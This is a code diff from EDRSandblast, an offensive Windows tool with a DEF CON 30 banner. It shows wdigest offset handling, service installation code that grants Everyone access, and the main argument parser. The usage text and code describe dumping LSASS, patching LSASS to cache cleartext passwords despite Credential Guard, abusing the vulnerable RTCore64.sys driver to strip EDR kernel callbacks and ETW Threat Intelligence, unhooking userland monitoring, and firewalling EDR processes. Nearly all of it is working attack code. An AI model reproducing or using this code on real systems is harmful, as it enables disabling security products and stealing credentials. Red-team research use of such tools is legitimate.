||||
currentProcessImage = NULL;
|
||||
free(currentProcessName);
|
||||
currentProcessName = NULL;
|
||||
}
|
||||
|
||||
if (*pPid) {
|
||||
return STATUS_SUCCES;
|
||||
}
|
||||
else {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
}
|
||||
@@ -9,24 +9,25 @@
|
||||
#include <tchar.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileVersion.h"
|
||||
#include "PdbSymbols.h"
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
union WdigestOffsets g_wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
|
||||
return;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
@@ -37,14 +38,71 @@ union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
_tprintf_or_not(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
g_wdigestOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename) {
|
||||
LPTSTR wdigestVersion = GetWdigestVersion();
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("a"));
|
||||
|
||||
if (offsetFileStream == NULL) {
|
||||
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
|
||||
return;
|
||||
}
|
||||
|
||||
_ftprintf(offsetFileStream, TEXT("%s"), wdigestVersion);
|
||||
for (int i = 0; i < _SUPPORTED_WDIGEST_OFFSETS_END; i++) {
|
||||
_ftprintf(offsetFileStream, TEXT(",%llx"), g_wdigestOffsets.ar[i]);
|
||||
}
|
||||
_fputts(TEXT(""), offsetFileStream);
|
||||
|
||||
fclose(offsetFileStream);
|
||||
}
|
||||
|
||||
|
||||
void LoadWdigestOffsetsFromInternet(BOOL delete_pdb) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(wdigestPath);
|
||||
if (sym_ctx == NULL) {
|
||||
return;
|
||||
}
|
||||
g_wdigestOffsets.st.g_fParameter_UseLogonCredential = GetSymbolAddress(sym_ctx, "g_fParameter_UseLogonCredential");
|
||||
g_wdigestOffsets.st.g_IsCredGuardEnabled = GetSymbolAddress(sym_ctx, "g_IsCredGuardEnabled");
|
||||
UnloadSymbols(sym_ctx, delete_pdb);
|
||||
}
|
||||
|
||||
TCHAR g_wdigestPath[MAX_PATH] = { 0 };
|
||||
LPTSTR GetWdigestPath() {
|
||||
if (_tcslen(g_wdigestPath) == 0) {
|
||||
// Retrieves the system folder (eg C:\Windows\System32).
|
||||
TCHAR systemDirectory[MAX_PATH] = { 0 };
|
||||
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
|
||||
|
||||
// Compute wdigest.dll path.
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), systemDirectory);
|
||||
_tcscat_s(g_wdigestPath, _countof(g_wdigestPath), TEXT("\\wdigest.dll"));
|
||||
}
|
||||
return g_wdigestPath;
|
||||
}
|
||||
|
||||
TCHAR g_wdigestVersion[256] = { 0 };
|
||||
LPTSTR GetWdigestVersion() {
|
||||
if (_tcslen(g_wdigestVersion) == 0) {
|
||||
LPTSTR wdigestPath = GetWdigestPath();
|
||||
|
||||
TCHAR versionBuffer[256] = { 0 };
|
||||
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
|
||||
|
||||
_stprintf_s(g_wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
|
||||
}
|
||||
return g_wdigestVersion;
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
#include "../EDRSandblast.h"
|
||||
#include "WindowsServiceOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
|
||||
SET_ACCESS,
|
||||
NO_INHERITANCE,
|
||||
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
|
||||
};
|
||||
|
||||
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
|
||||
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
|
||||
if (oldSd) {
|
||||
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
|
||||
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
|
||||
|
||||
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
|
||||
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
|
||||
LocalFree(newSd);
|
||||
}
|
||||
|
||||
FreeSid(ForEveryoneACL.Trustee.ptstrName);
|
||||
}
|
||||
}
|
||||
LocalFree(oldSd);
|
||||
}
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
|
||||
SC_HANDLE hSC = NULL;
|
||||
SC_HANDLE hS = NULL;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, SERVICE_START);
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service already registered\n"), serviceName);
|
||||
}
|
||||
|
||||
else {
|
||||
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service was not present\n"), serviceName);
|
||||
|
||||
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
|
||||
|
||||
if (hS) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service is successfully registered\n"), serviceName);
|
||||
if (ServiceAddEveryoneAccess(hS)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service ACL configured to for Everyone\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[!] ServiceAddEveryoneAccess"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("CreateService"));
|
||||
}
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenService"));
|
||||
}
|
||||
}
|
||||
|
||||
if (hS) {
|
||||
if (startIt) {
|
||||
if (StartService(hS, 0, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service started\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service already started\n"), serviceName);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("StartService"));
|
||||
return GetLastError();
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
|
||||
return GetLastError();
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
|
||||
BOOL status = FALSE;
|
||||
SC_HANDLE hSC, hS;
|
||||
SERVICE_STATUS serviceStatus;
|
||||
|
||||
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
hS = OpenService(hSC, serviceName, dwDesiredAccess);
|
||||
if (hS) {
|
||||
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
|
||||
|
||||
// Used as a stop point for recursive calls to ServiceUninstall.
|
||||
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
|
||||
_tprintf_or_not(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
|
||||
_tprintf_or_not(TEXT("[+] \'%s\' service stopped\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service not running\n"), serviceName);
|
||||
}
|
||||
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
|
||||
_tprintf_or_not(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
}
|
||||
else {
|
||||
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
BOOL deleted = FALSE;
|
||||
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
|
||||
if (hSC) {
|
||||
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
|
||||
if (hS) {
|
||||
if (QueryServiceStatus(hS, &status)) {
|
||||
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
|
||||
CloseServiceHandle(hS);
|
||||
CloseServiceHandle(hSC);
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
else {
|
||||
deleted = DeleteService(hS);
|
||||
CloseServiceHandle(hS);
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(hSC);
|
||||
}
|
||||
if (!deleted) {
|
||||
Sleep(OP_SLEEP_TIME);
|
||||
return ServiceUninstall(serviceName, attemptCount + 1);
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
@@ -0,0 +1,742 @@
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <Tchar.h>
|
||||
#include <psapi.h>
|
||||
#include <PathCch.h>
|
||||
#include <shlwapi.h>
|
||||
#include <time.h>
|
||||
|
||||
#ifdef _DEBUG
|
||||
#include <assert.h>
|
||||
#endif
|
||||
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "FileUtils.h"
|
||||
#include "Firewalling.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "ProcessDump.h"
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "ObjectCallbacks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "RunAsPPL.h"
|
||||
#include "Syscalls.h"
|
||||
#include "Undoc.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
#include "../EDRSandblast/EDRSandblast.h"
|
||||
|
||||
typedef NTSTATUS(NTAPI* NtQueryInformationProcess_f)(
|
||||
HANDLE ProcessHandle,
|
||||
PROCESSINFOCLASS ProcessInformationClass,
|
||||
PVOID ProcessInformation,
|
||||
ULONG ProcessInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
void PrintBanner() {
|
||||
const TCHAR edrsandblast[] = TEXT(" ______ _____ _____ _____ _ _ _ _ \r\n | ____| __ \\| __ \\ / ____| | | | | | | | \r\n | |__ | | | | |__) | (___ __ _ _ __ __| | |__ | | __ _ ___| |_ \r\n | __| | | | | _ / \\___ \\ / _` | \'_ \\ / _` | \'_ \\| |/ _` / __| __|\r\n | |____| |__| | | \\ \\ ____) | (_| | | | | (_| | |_) | | (_| \\__ | |_ \r\n |______|_____/|_| \\_|_____/ \\__,_|_| |_|\\__,_|_.__/|_|\\__,_|___/\\__|\n");
|
||||
const TCHAR defcon[] = TEXT("D3FC0N 30 Edition");
|
||||
const TCHAR authors[2][256] = { TEXT("Thomas DIOT (@_Qazeer)"), TEXT("Maxime MEIGNAN (@th3m4ks)") };
|
||||
|
||||
srand(time(NULL));
|
||||
int r = rand() % 2;
|
||||
|
||||
_putts_or_not(edrsandblast);
|
||||
_tprintf_or_not(TEXT(" %s | %s & %s\n\n"), defcon, authors[r], authors[(r + 1) % 2]);
|
||||
}
|
||||
|
||||
BOOL WasRestarted() {
|
||||
PROCESS_BASIC_INFORMATION pbi = { 0 };
|
||||
ULONG written = 0;
|
||||
PE* n = PE_create(getModuleEntryFromNameW(L"ntdll.dll")->DllBase, TRUE);
|
||||
NtQueryInformationProcess_f NtQueryInformationProcess = (NtQueryInformationProcess_f)PE_functionAddr(n, "NtQueryInformationProcess"); //TODO : use a less-dirty method
|
||||
NtQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &pbi, sizeof(pbi), &written);
|
||||
DWORD parentPid = (DWORD)pbi.InheritedFromUniqueProcessId;
|
||||
HANDLE hParent = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, parentPid);
|
||||
CHAR parentImage[MAX_PATH] = { 0 };
|
||||
CHAR myImage[MAX_PATH] = { 0 };
|
||||
GetProcessImageFileNameA(hParent, parentImage, sizeof(parentImage));
|
||||
GetProcessImageFileNameA(GetCurrentProcess(), myImage, sizeof(myImage));
|
||||
PE_destroy(n);
|
||||
return strcmp(parentImage, myImage) == 0;
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
--- Execution entry point.
|
||||
|
||||
*/
|
||||
|
||||
int _tmain(int argc, TCHAR** argv) {
|
||||
// Parse command line arguments and initialize variables to default values if needed.
|
||||
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
|
||||
const TCHAR extendedUsage[] = TEXT("\n\
|
||||
-h | --help Show this help message and exit.\n\
|
||||
-v | --verbose Enable a more verbose output.\n\
|
||||
\n\
|
||||
Actions mode:\n\
|
||||
\n\
|
||||
\taudit Display the user-land hooks and / or Kernel callbacks without taking actions.\n\
|
||||
\tdump Dump the process specified by --process-name (LSASS process by default), as '<process_name>' in the current directory or at the\n\
|
||||
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||
\tcmd Open a cmd.exe prompt.\n\
|
||||
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
|
||||
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
|
||||
\n\
|
||||
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||
\n\
|
||||
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||
\n\
|
||||
\t0 Do not perform any unhooking (used for direct syscalls operations).\n\
|
||||
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||
\t userland hooks.\n\
|
||||
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||
\t hooks.\n\
|
||||
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||
\t present userland hooks.\n\
|
||||
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||
\t and uses it to remove all detected hooks\n\
|
||||
--direct-syscalls Use direct syscalls to conduct the specified action if possible (for now only for process dump).\n\
|
||||
\n\
|
||||
Other options:\n\
|
||||
\n\
|
||||
--dont-unload-driver Keep the vulnerable driver installed on the host\n\
|
||||
Default to automatically unsinstall the driver.\n\
|
||||
--no-restore Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||
Default to restore the callbacks.\n\
|
||||
\n\
|
||||
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||
Default to 'RTCore64.sys' in the current directory.\n\
|
||||
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
|
||||
\n\
|
||||
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||
(only for the 'credguard' mode).\n\
|
||||
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||
\n\
|
||||
--add-dll <dll name or path> Loads arbitrary libraries into the process' address space, before starting\n\
|
||||
anything. This can be useful to audit userland hooking for DLL that are not\n\
|
||||
loaded by default by this program. Use this option multiple times to load\n\
|
||||
multiple DLLs all at once.\n\
|
||||
Example of interesting DLLs to look at: user32.dll, ole32.dll, crypt32.dll,\n\
|
||||
samcli.dll, winhttp.dll, urlmon.dll, secur32.dll, shell32.dll...\n\
|
||||
\n\
|
||||
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||
Default to 'process_name' in the current directory.\n\
|
||||
\
|
||||
-i | --internet Enables automatic symbols download from Microsoft Symbol Server\n\
|
||||
If a corresponding *Offsets.csv file exists, appends the downloaded offsets to the file for later use\n\
|
||||
OpSec warning: downloads and drops on disk a PDB file for ntoskrnl.exe and/or wdigest.dll\n");
|
||||
|
||||
BOOL status;
|
||||
HRESULT hrStatus = S_OK;
|
||||
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (argc < 2) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
|
||||
START_MODE startMode = none;
|
||||
TCHAR driverPath[MAX_PATH] = { 0 };
|
||||
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
|
||||
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
TCHAR processName[] = TEXT("lsass.exe");
|
||||
TCHAR outputPath[MAX_PATH] = { 0 };
|
||||
BOOL verbose = FALSE;
|
||||
BOOL removeVulnDriver = TRUE;
|
||||
BOOL restoreCallbacks = TRUE;
|
||||
BOOL userMode = FALSE;
|
||||
BOOL internet = FALSE;
|
||||
enum UNHOOK_METHOD_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||
BOOL directSyscalls = FALSE;
|
||||
BOOL kernelMode = FALSE;
|
||||
int lpExitCode = EXIT_SUCCESS;
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL;
|
||||
BOOL ETWTIState = FALSE;
|
||||
BOOL foundNotifyRoutineCallbacks = FALSE;
|
||||
BOOL foundObjectCallbacks = FALSE;
|
||||
HOOK* hooks = NULL;
|
||||
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
|
||||
|
||||
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (_tcsicmp(argv[i], TEXT("dump")) == 0) {
|
||||
startMode = dump;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("cmd")) == 0) {
|
||||
startMode = cmd;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("credguard")) == 0) {
|
||||
startMode = credguard;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("audit")) == 0) {
|
||||
startMode = audit;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
|
||||
startMode = firewall;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||
_putts_or_not(usage);
|
||||
_putts_or_not(extendedUsage);
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||
verbose = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||
userMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||
kernelMode = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--no-restore")) == 0) {
|
||||
restoreCallbacks = FALSE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
SetDriverServiceName(argv[i]);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--process-name")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
_tcsncpy_s(processName, _countof(processName), argv[i], _tcslen(argv[i]));
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
unhook_method = _ttoi(argv[i]);
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--direct-syscalls")) == 0) {
|
||||
directSyscalls = TRUE;
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) {
|
||||
i++;
|
||||
if (i > argc) {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
HANDLE hAdditionnalLib = LoadLibrary(argv[i]);
|
||||
if (hAdditionnalLib == INVALID_HANDLE_VALUE) {
|
||||
_tprintf_or_not(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
else if (_tcsicmp(argv[i], TEXT("-i")) == 0 || _tcsicmp(argv[i], TEXT("--internet")) == 0) {
|
||||
internet = TRUE;
|
||||
}
|
||||
else {
|
||||
_tprintf_or_not(TEXT("%s"), usage);
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
}
|
||||
|
||||
if (WasRestarted()) {
|
||||
removeVulnDriver = FALSE;
|
||||
}
|
||||
else {
|
||||
PrintBanner();
|
||||
}
|
||||
|
||||
// Command line option consistency checks.
|
||||
if (startMode == none){
|
||||
_putts_or_not(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (startMode == cmd && !kernelMode) {
|
||||
_putts_or_not(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode"));
|
||||
return EXIT_FAILURE;
|
||||
}
|
||||
if (!userMode && !kernelMode) {
|
||||
_putts_or_not(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n"));
|
||||
userMode = TRUE;
|
||||
}
|
||||
if (!userMode && kernelMode) {
|
||||
_putts_or_not(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n"));
|
||||
}
|
||||
if (startMode == credguard && !kernelMode) {
|
||||
_putts_or_not(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
if (startMode == dump && !kernelMode) {
|
||||
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
|
||||
}
|
||||
|
||||
